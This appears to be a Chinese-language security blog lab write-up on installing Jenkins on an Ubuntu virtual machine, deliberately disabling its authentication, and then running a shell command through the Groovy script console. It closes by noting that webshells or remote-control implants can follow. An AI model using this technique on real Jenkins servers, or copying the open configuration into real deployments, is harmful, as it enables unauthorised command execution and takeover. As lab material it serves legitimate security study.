Jenkins未授权访问到Getshell
实验环境
- ubuntu20 虚拟机
安装 Jenkins
安装Java
plaintext
1 | sudo apt update |
开始安装Jenkins
- 使用下面的
wget
命令,导入 Jenkins 软件源的 GPG keys:
plaintext
1 | wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - |
- 下一步,添加软件源到系统中:
plaintext
1 | sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' |
- 一旦 Jenkins 软件源被启用,升级
apt
软件包列表,并且安装最新版本的 Jenkins:
plaintext
1 | sudo apt update |
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-21_11-28-04_d41d8cd98f00b204e9800998ecf8427e.jpg
- Ubuntu安装Jenkins报错解决
plaintext
1 | 正在读取软件包列表... 完成 |
- 找到
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-21_11-31-41_d41d8cd98f00b204e9800998ecf8427e.jpg
- 把key替换成自己的
plaintext
1 | sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 5BA31D57EF5975CA |
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_202341_d41d8cd98f00b204e9800998ecf8427e.jpg
- 再次执行
plaintext
1 | sudo apt update |
- 验证
plaintext
1 | systemctl status jenkins |
- 调整防火墙
plaintext
1 | sudo ufw allow proto tcp from 192.168.121.0/24 to any port 8080 |
plaintext
1 | sudo ufw allow 8080 |
- 访问
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-21_11-39-42_d41d8cd98f00b204e9800998ecf8427e.jpg
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-21_11-41-27_d41d8cd98f00b204e9800998ecf8427e.jpg
配置未授权
plaintext
1 | vim /var/lib/jenkins/config.xml |
plaintext
1 | <useSecurity>true</useSecurity> |
- 重启
plaintext
1 | systemctl restart jenkins |
至此未授权的Jenkins搭建完成
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/sss_d41d8cd98f00b204e9800998ecf8427e.jpg
命令执行
plaintext
1 | println "whoami".execute().text |
https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/dasdasd_d41d8cd98f00b204e9800998ecf8427e.jpg
- 能执行命令的话拿到服务器的权限就简单了,如上线supershell,写webshell等操作。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!